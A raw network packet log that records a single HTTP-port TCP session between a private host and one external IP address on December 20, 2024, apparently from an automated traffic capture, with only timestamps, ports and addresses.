Dec 20, 2024 17:13:34.062419891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.065609932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.113450050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.113534927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.113626957 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.113724947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.113876104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.113910913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.114561081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.114608049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.114736080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.115262985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.156246901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.156924963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.157258987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.157272100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.157308102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.157367945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.157458067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.158040047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.158237934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.158802986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.158857107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.159089088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.159128904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.159190893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.159933090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.159991980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.160017014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.160599947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.160650969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.161408901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.161422014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.161468983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.161540031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.162187099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.162249088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.162377119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.162972927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.163012981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.163224936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.163819075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.163830042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.163852930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.164560080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.164644003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.164813042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.165416002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.165458918 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.165527105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.166105986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.166156054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.166173935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.166894913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.166955948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.167084932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.167659044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.167732000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.167778015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.168469906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.168530941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.168836117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.169219017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.169312954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.169389009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.170005083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.170059919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.170105934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.170821905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.170902014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.171005011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.171554089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.171597004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.171720982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.172400951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.172481060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.172523975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.173139095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.173192024 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.173331022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.173926115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.173979044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.174186945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.174710989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.174751043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.174771070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.175518036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.175571918 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.175601006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.176278114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.176573038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.176631927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.177040100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.177340984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.177390099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.177834034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.177872896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.178016901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.178610086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.178653955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.178884029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.179471970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.179543018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.179553986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.234297037 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.239634991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.239835024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.239885092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.239981890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.239994049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.240025997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.240753889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.240825891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.241513014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.241564035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.241794109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.241837978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.242347956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.242506981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.242552996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.243113995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.243941069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.243952990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.243992090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.244074106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.244111061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.244723082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.244796038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.245510101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.245522022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.245549917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.246248960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.247041941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.247052908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.247086048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.247147083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.247186899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.247792006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.248292923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.248435974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.248622894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.248634100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.248697996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.249418974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.249430895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.249469042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.250282049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.250413895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.250456095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.250920057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.251749992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.251760960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.251811981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.251863003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.251900911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.252505064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.253313065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.253324032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.253384113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.253398895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.253438950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.254169941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.254410028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.254551888 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.305310965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.305676937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.305751085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.305768013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.305779934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.305825949 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.306294918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.306427002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.306468010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.307101965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.307113886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.307179928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.348946095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.349050045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.349153042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.349291086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.349656105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.350100040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.350112915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.350119114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.350153923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.350841999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.351119995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.351197004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.351238012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.351869106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.351906061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.352027893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.352655888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.352950096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.352988958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.353446007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.353483915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.353595972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.354264021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.354301929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.354315042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.354990959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.355802059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.355814934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.355848074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.355901957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.356600046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.356656075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.356834888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.357429028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.357480049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.357522964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.358114004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.358232975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.358242035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.358959913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.358993053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.359004021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.359755039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.359775066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.359803915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.360599041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.360639095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.360697985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.361285925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.361325979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.361424923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.362049103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.362086058 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.362394094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.362840891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.362884998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.363311052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.363595009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.363627911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.363714933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.364398003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.364454985 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.364553928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.365210056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.365310907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.365405083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.365942955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.366004944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.366143942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.366729021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.366785049 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.366945982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.367517948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.367580891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.367645979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.368324041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.368372917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.368515015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.369080067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.369119883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.369147062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.369901896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.369949102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.369952917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.370652914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.370697975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.370753050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.370929956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.371427059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.371458054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.371609926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.421828985 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.431936979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.432061911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.432128906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.432279110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.432292938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.432343960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.433018923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.433197021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.433376074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.433780909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.434545994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.434622049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.434634924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.434675932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.434705973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.435369968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.435580015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.435632944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.436156034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.436281919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.436933994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.436988115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.437720060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.437733889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.437767029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.438103914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.438478947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.438528061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.438728094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.438774109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.439299107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.439557076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.440077066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.440134048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.440228939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.440300941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.440923929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.440939903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.440982103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.441740990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.441921949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.442106009 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.442496061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.442641020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.443258047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.443310022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.444025040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.444040060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.444081068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.444123983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.444160938 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.444761992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.444953918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.445586920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.445642948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.445719957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.445761919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.446310043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.446990013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.447053909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.497648001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.497683048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.497814894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.497942924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.497956038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.497988939 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.498763084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.499037027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.499094009 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.499530077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.541093111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.541114092 CET	80	49711	147.45.113.159	192.168.2.9
